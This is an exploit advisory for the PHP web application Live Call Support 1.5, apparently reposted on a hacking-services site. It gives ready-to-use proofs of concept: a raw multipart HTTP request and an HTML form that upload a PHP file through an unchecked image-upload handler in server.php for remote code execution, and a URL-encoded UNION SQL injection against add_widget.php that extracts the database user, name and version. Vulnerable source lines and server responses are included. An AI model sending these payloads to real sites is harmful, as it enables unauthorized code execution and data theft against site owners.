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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Live Call Support 1.5 - Remote Code Execution / SQL Injection
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://ranksol.com/
# Software Link: https://codecanyon.net/item/live-call-support-widget-software-online-calling-web-application/22532799
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/server.php
# 

#/[PATH]/server.php
#912 		case "save_settings":{
#913 			if($_FILES['call_widget_image']['name']!=''){
#914 				$ext = getExtension($_FILES['call_widget_image']['name']);
#915 				$fileName = uniqid().'.'.$ext;
#916 				$tmpName  = $_FILES['call_widget_image']['tmp_name'];
#917 				$res = move_uploaded_file($tmpName,'images/'.$fileName);
#918 				if($res){
#919 					$fileName = $fileName;
#920 					@unlink('images/'.$_REQUEST['hidden_call_widget_image']);
#921 				}else{
#922 					$fileName = $_REQUEST['hidden_call_widget_image'];
#923 				}
#924 			}else{
#925 				$fileName = $_REQUEST['hidden_call_widget_image'];
#926 			}

POST /[PATH]/server.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 592
Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------307672102411665: undefined
Content-Disposition: form-data; name="call_widget_image"; filename="phpinfo.php"
<?php
phpinfo();
?>
-----------------------------307672102411665
Content-Disposition: form-data; name="hidden_call_widget_image"
5c3b2a6842c13.png
-----------------------------307672102411665
Content-Disposition: form-data; name="settings_id"
1
-----------------------------307672102411665
Content-Disposition: form-data; name="cmd"
save_settings
-----------------------------307672102411665--
HTTP/1.1 302 Found
Date: Sun, 13 Jan 2019 12:14:24 GMT
Server: Apache
X-Powered-By: PHP/7.1.25
Access-Control-Allow-Origin: *
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
location: settings.php
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/server.php
# 

<html>
<body>

<form action="http://localhost/[PATH]/server.php" method="post" enctype="multipart/form-data">
		<div class="form-group">
			<label>Call Widget Image</label>
			<input name="call_widget_image" type="file">
			<input name="hidden_call_widget_image" value="5c3b2a6842c13.png" type="hidden">
			</div>
		<div class="form-group">
			<input name="settings_id" value="1" type="hidden">
			<input name="cmd" value="save_settings" type="hidden">
			<input value="Save" class="btn btn-primary" type="submit">
			<input value="Back" class="btn btn-default" onclick="history.go(-1)" type="button">
		</div>
</form>

</body>
</html>

# POC: 
# 3)
# http://localhost/[PATH]/add_widget.php?wid=[SQL]
# 

#04 	if($_REQUEST['wid']!=''){
#05 		$widget = getWidget($_REQUEST['wid']);
#06 		$pageTitle = 'Edit Widget';
#07 	}else{
#08 		$pageTitle = 'Create Widget';
#09 	}

GET /[PATH]/add_widget.php?wid=%2d%34%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%201,%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29,%56%45%52%53%49%4f%4e()%29%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sun, 13 Jan 2019 12:34:12 GMT
Server: Apache
X-Powered-By: PHP/7.1.25
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8